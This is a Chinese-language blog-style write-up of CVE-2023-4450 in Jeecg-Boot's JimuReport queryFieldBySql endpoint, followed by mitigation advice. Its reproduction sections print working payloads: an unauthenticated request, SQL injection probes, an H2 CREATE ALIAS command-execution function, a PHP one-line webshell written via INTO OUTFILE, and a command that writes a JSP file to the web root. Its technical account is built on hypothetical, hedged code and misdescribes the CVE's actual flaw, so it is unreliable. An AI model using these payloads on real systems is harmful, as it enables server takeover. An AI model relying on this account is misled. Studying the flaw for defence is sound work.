CVE-2023-4450漏洞剖析:从SQL注入到RCE的权限绕过攻击链
1. 项目概述:从一次内部安全审计说起
前段时间,公司内部进行常规的代码安全审计,我负责检查几个基于流行低代码平台开发的后台管理系统。当扫描到其中一个使用Jeecg-Boot框架,并集成了其官方报表模块“积木报表”的系统时,一个看似普通的接口引起了我的注意:queryFieldBySql。这个接口的名字直白地揭示了它的功能——通过SQL语句查询字段。在低代码或报表系统中,为了支持动态、灵活的报表生成,提供执行自定义SQL的能力并不罕见,但关键在于如何安全地实现它。随着审计的深入,一个被标记为CVE-2023-4450的高危漏洞浮出水面,其核心正是这个接口的权限绕过与代码注入问题,最终可导致远程命令执行。这个漏洞的巧妙之处在于,它并非一个简单的SQL注入,而是通过框架自身的特性,将数据查询能力“升级”为了系统命令执行能力,危害极大。今天,我就结合当时的审计、分析和复现过程,把这个漏洞的来龙去脉、技术原理、实战利用手法以及修复方案,给大家掰开揉碎了讲清楚。无论你是安全研究人员、红队队员,还是负责系统开发的工程师,理解这个漏洞都能帮你更好地认识低代码平台背后的安全风险。
2. 漏洞背景与影响范围解析
2.1 Jeecg-Boot与积木报表是什么?
在深入漏洞之前,有必要先了解一下涉事的主角。Jeecg-Boot是一款基于Spring Boot的国产开源低代码开发平台,它提供了大量的代码生成器、通用组件和可视化设计器,旨在帮助开发者快速构建企业级后台管理系统。由于其“开箱即用”的特性,在国内中小型企业的内部管理系统开发中应用非常广泛。
积木报表(JimuReport)是Jeecg-Boot官方集成的一个可视化报表设计工具,也可以独立部署。它允许用户通过拖拽的方式,像搭积木一样设计各种复杂的报表,并支持通过SQL、API等多种方式获取数据。queryFieldBySql接口就是积木报表为方便设计器动态获取数据库表结构、字段信息而提供的一个后端API。
2.2 CVE-2023-4450漏洞核心
该漏洞的官方描述是:Jeecg-Boot 积木报表模块的queryFieldBySql接口存在权限绕过和SQL注入,攻击者可以利用此漏洞执行任意SQL语句,在特定条件下进一步导致远程命令执行。
这里需要拆解出三个关键点:
- 权限绕过:该接口本应受到严格的权限控制,只有授权用户(如报表管理员)才能调用。但漏洞存在使得未授权或低权限用户也能访问。
- SQL注入:接口参数接收用户输入的SQL语句片段,但未进行充分的过滤和校验,导致攻击者可以注入恶意SQL代码。
- RCE升级:这是漏洞危害被放大的关键。单纯的SQL注入可能只影响数据库,但在Jeecg-Boot默认集成的某些数据库驱动或配置下(特别是H2数据库控制台未禁用时),通过执行特定的SQL语句,可以调用Java函数,从而写入Webshell或直接执行操作系统命令,实现从数据库层到应用服务器层的权限跨越。
影响版本:主要影响 Jeecg-Boot 3.5.0 及之前版本中集成的积木报表模块。独立部署的积木报表若版本对应,同样受影响。
影响范围:所有使用了受影响版本Jeecg-Boot并启用了积木报表功能的系统。由于Jeecg-Boot多用于内网管理系统,一旦被突破,攻击者可能直接获取内网核心数据和应用服务器控制权,风险等级非常高。
3. 漏洞原理深度剖析
要理解这个漏洞,我们需要沿着攻击链,从接口访问到最终命令执行,一层层看下去。
3.1 接口权限控制缺失分析
在Spring Boot应用中,接口权限通常通过注解如@PreAuthorize、@RequiresRoles或拦截器、过滤器来实现。审计发现,存在漏洞的版本中,queryFieldBySql接口对应的控制器方法上,权限校验注解可能缺失或配置不当。
例如,正常的接口应该类似:
@PostMapping("/queryFieldBySql") @PreAuthorize("hasRole('report_admin')") // 必须具有报表管理员角色 public Result<?> queryFieldBySql(@RequestBody Map<String, String> params) { // ... 业务逻辑 }而在漏洞版本中,可能缺少了@PreAuthorize注解,或者该注解配置的权限表达式过于宽松(如permitAll()),导致Spring Security的拦截机制在此处失效。这使得攻击者无需登录,或者使用任意低权限账号登录后,即可直接向该接口发送请求。
实操心得:在审计低代码平台或类似框架时,要特别关注那些提供“动态”、“自定义”、“执行”功能的接口,如
execSql、runScript、dynamicQuery等。这些接口往往是功能强大但安全风险最高的地方,第一检查项就是权限控制是否到位。
3.2 SQL注入点与利用链构造
即使接口可访问,它通常也需要参数。假设接口接收一个JSON参数{"sql": "select * from sys_user"},后端代码可能会这样处理(简化模型):
String userSql = params.get("sql"); // 危险操作:直接拼接或使用非预编译方式执行 String fullSql = "SELECT COLUMN_NAME, DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE " + userSql; jdbcTemplate.query(fullSql, ...);或者,框架为了“灵活”,允许传入一个接近完整的SQL查询片段。攻击者可以不再局限于查询字段信息,而是注入任意SQL语句。
例如,将参数设置为:
{ "sql": "TABLE_SCHEMA='public' UNION SELECT '恶意载荷', 'test' FROM DUAL--" }这样就能执行UNION查询,将任意数据(恶意载荷)返回给前端。但此时还只是数据窃取或篡改。
3.3 从SQL注入到RCE的关键跳跃
这是本漏洞最精彩也最危险的部分。在Java中,通过JDBC执行SQL,通常无法直接执行系统命令。但是,一些数据库提供了扩展功能,允许在SQL中调用特定的函数。
场景一:利用H2数据库的CREATE ALIAS功能Jeecg-Boot早期版本或某些演示环境,可能将H2作为内嵌数据库。H2数据库有一个强大的特性:CREATE ALIAS可以创建指向Java静态方法的别名。攻击者可以构造如下SQL注入:
'; CREATE ALIAS EXEC_COMMAND AS $$ String exec(String cmd) throws java.io.IOException { return new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); } $$; CALL EXEC_COMMAND('calc.exe')--这条语句先创建一个名为EXEC_COMMAND的别名,其实现是执行系统命令并返回结果。然后立即调用它执行calc.exe。如果应用使用H2数据库且运行在Windows上,计算器就会被弹出。通过此方法,可以执行任意命令。
场景二:利用MySQL的SELECT ... INTO OUTFILE写文件如果后端数据库是MySQL,且MySQL服务进程对Web目录有写权限,攻击者可以利用SQL注入执行:
'; SELECT '<?php @eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'--这会将一句话木马写入Web目录,从而获得一个Webshell。但这依赖于secure_file_priv数据库配置和文件系统权限。
场景三:利用PostgreSQL的COPY ... FROM PROGRAM或大对象操作PostgreSQL的COPY命令可以从程序输出中读取数据,PROGRAM关键字可以执行系统命令。或者利用大对象和lo_export函数,结合pg_largeobject系统表,向服务器文件系统写入二进制数据(如Webshell)。
核心原理:漏洞的RCE部分严重依赖于数据库特性和应用配置。攻击者通过SQL注入获得了执行任意SQL的能力,进而利用数据库本身提供的、能够与操作系统或文件系统交互的高级功能,将攻击面从数据库层延伸到了服务器层。这提醒我们,防止SQL注入不仅是防止数据泄露,更是防止后续更严重的“跳板”攻击。
4. 实战利用与漏洞复现
为了更直观地理解漏洞的危害,我们搭建一个受影响的测试环境进行复现。请注意,此操作仅限授权下的安全测试或学习环境,严禁用于非法攻击。
4.1 环境搭建与目标识别
获取目标:从官方仓库下载一个存在漏洞的Jeecg-Boot版本(例如3.4.0)。使用Docker或本地运行。
git clone https://github.com/jeecgboot/jeecg-boot.git cd jeecg-boot git checkout v3.4.0 # 切换到漏洞版本按照项目文档,配置数据库(为了演示RCE,这里可以选择H2或MySQL),并启动应用。
识别接口:启动后,通过浏览器开发者工具(F12)的“网络”选项卡,观察报表设计器页面的请求。通常,涉及数据源、字段查询的请求会发送到
/jmreport/或/jeecg-boot/jmreport/路径下。寻找类似queryFieldBySql的请求端点。也可以直接通过Swagger UI(如果开启)查找接口,常见路径为/jeecg-boot/sys/dynamic/queryFieldBySql。
4.2 权限绕过验证
使用Burp Suite或Postman等工具,直接向识别出的接口地址发送POST请求,不携带任何认证Token或Cookie。
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1 Host: target.com Content-Type: application/json {"sql": "select 1"}如果返回了类似{"success":true, "result":...}的数据,而不是{"code": 401, "message":"未授权"},则证明权限绕过存在。
4.3 SQL注入验证与信息收集
确认接口可访问后,开始测试SQL注入。使用经典的探测Payload:
{ "sql": "1' AND '1'='1" }和
{ "sql": "1' AND '1'='2" }观察返回结果是否不同。或者使用时间盲注Payload:
{ "sql": "1' AND SLEEP(5)--" }观察响应是否延迟5秒。如果存在注入,就可以利用联合查询获取数据库信息:
{ "sql": "1' UNION SELECT version(), database()--" }目标是获取数据库类型(MySQL, PostgreSQL, H2等)和版本,这对后续选择RCE利用方式至关重要。
4.4 RCE利用实战(以H2数据库为例)
假设探测出目标使用H2数据库,且应用运行在Linux服务器上。
步骤1:创建执行命令的Java函数别名构造Payload,注意JSON格式中的引号需要转义。
{ "sql": "1'; CREATE ALIAS EXEC_SHELL AS $$ String exec(String c) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(c).getInputStream()).useDelimiter(\"\\\\A\"); return s.hasNext() ? s.next() : \"\"; } $$;--" }发送此请求,如果成功,会在H2数据库中创建一个名为EXEC_SHELL的函数。
步骤2:执行系统命令调用刚刚创建的函数执行命令,例如查看当前用户和目录。
{ "sql": "1'; CALL EXEC_SHELL('id && pwd')--" }如果漏洞存在且环境允许,响应中可能会包含命令执行的结果(如uid=1001(app) gid=1001(app) groups=1001(app) /app)。
步骤3:写入Webshell(备选方案)如果直接回显受限,可以尝试写文件。首先确认Web路径,可以通过执行find / -name \"*.jsp\" 2>/dev/null | head -5来寻找。假设找到路径/opt/jeecg-boot/webapps/ROOT。
{ "sql": "1'; CALL EXEC_SHELL('echo \"<%=7*7%>\" > /opt/jeecg-boot/webapps/ROOT/test.jsp')--" }然后访问http://target.com/test.jsp,如果显示49,则说明写入成功。可以进一步写入更复杂的木马。
注意事项:
- 实际利用时,Payload需要根据目标的数据库类型、操作系统、Java版本进行微调。
- H2的
CREATE ALIAS功能在较新版本中默认可能受到限制,但在历史版本或特定配置下仍可用。- 利用过程可能会产生大量错误日志,容易被发现。
- 某些环境下,JDBC连接可能没有执行DDL(如
CREATE ALIAS)的权限,需要尝试其他方法。
5. 漏洞修复与安全加固建议
对于开发者和运维人员,如果正在使用受影响版本,必须立即采取行动。
5.1 官方补丁升级
最直接有效的方法是升级Jeecg-Boot框架和积木报表组件到已修复的安全版本。请关注Jeecg官方GitHub仓库的Release和安全公告,获取最新的补丁版本进行升级。
5.2 临时缓解措施
如果无法立即升级,可以采取以下紧急措施:
接口权限加固:在
queryFieldBySql接口对应的Java方法上,添加严格的权限注解。确保只有必要的管理员角色才能访问。@PostMapping("/queryFieldBySql") @PreAuthorize("hasRole('super_admin')") // 使用最高权限或专属报表管理角色 public Result<?> queryFieldBySql(@RequestBody Map<String, String> params) { // ... }并检查Spring Security的全局配置,确保该接口路径未被意外放行。
输入严格过滤与白名单:在接口业务逻辑中,对传入的
sql参数进行严格校验。由于该接口的设计目的是查询字段信息,其输入的SQL模式相对固定(通常是查询INFORMATION_SCHEMA.COLUMNS或特定表结构)。可以建立白名单机制,只允许匹配特定模式的SQL片段(例如,只允许包含SELECT、FROM、WHERE、=等有限关键字和操作符,且完全禁止UNION、;、--、CREATE、DROP、EXEC等危险关键字和符号)。可以使用正则表达式进行匹配。禁用危险数据库功能:
- 对于H2:在生产环境中,绝对不要使用H2数据库。如果必须用,确保禁用HTTP控制台(
spring.h2.console.enabled=false)和严格检查数据库连接URL,避免启用;MODE=MySQL等兼容模式带来的额外风险。 - 对于MySQL:设置
secure_file_priv为NULL或一个非Web目录的安全路径,禁用INTO OUTFILE功能。 - 对于PostgreSQL:使用最低权限的数据库用户,撤销其执行系统命令或写文件的权限(如
pg_read_server_files,pg_write_server_files,pg_execute_server_program等角色权限)。
- 对于H2:在生产环境中,绝对不要使用H2数据库。如果必须用,确保禁用HTTP控制台(
5.3 长期安全开发规范
- 最小权限原则:应用程序连接数据库的账号,只授予其完成业务所必需的最小权限(SELECT, INSERT, UPDATE, DELETE),坚决不授予CREATE, DROP, ALTER, FILE, PROCESS等高级权限。
- 使用预编译语句(PreparedStatement):这是防止SQL注入的黄金法则。确保所有用户输入都作为参数传递,而不是字符串拼接。
- 避免动态执行用户输入的代码:无论是SQL、脚本还是模板,只要涉及执行,就必须有沙箱机制或严格的沙盒环境。
- 依赖组件安全扫描:定期使用SCA工具扫描项目依赖,及时更新存在已知漏洞的第三方库。
- 纵深防御:在WAF(Web应用防火墙)或网关层面,配置规则拦截对可疑接口(如包含
exec、sql、query等关键词的路径)的未授权访问和常见的SQL注入、命令注入攻击特征。
6. 漏洞挖掘与审计的思考
回过头看,CVE-2023-4450的挖掘过程给了我们很多启示。它不是一个复杂的零日漏洞,而是由多个“小问题”组合成的“大风险”。
- 关注“强大”的接口:低代码平台为了灵活性,往往会暴露一些功能强大的API。审计时,应优先审查这些接口的权限校验、输入验证和执行上下文。
- 理解技术栈的“副作用”:很多RCE漏洞不是直接的系统调用,而是通过中间件、数据库的特性“曲线救国”。安全人员需要熟悉常见技术栈(如Spring Boot, H2, MySQL, PostgreSQL)的“危险特性”。
- 黑盒与白盒结合:黑盒测试可以发现接口未授权访问和简单的注入点。但要理清完整的利用链,尤其是像这种需要特定数据库功能才能RCE的情况,结合源代码审计(白盒)分析其数据处理流程和依赖库,效率会高得多。
- 漏洞的连锁反应:权限绕过让攻击者能够触及接口,SQL注入提供了执行任意SQL的能力,数据库特性滥用则将SQL执行权转化为系统命令执行权。这是一个典型的“漏洞链”。在防御时,打断其中任何一环,都能有效降低风险。
这个漏洞的修复,本质上是对低代码平台“便捷性”与“安全性”之间平衡的一次重要修正。它提醒所有开发者,在提供强大灵活性的同时,必须筑起坚固的安全边界,因为攻击者总会寻找那条你未曾设防的路径。
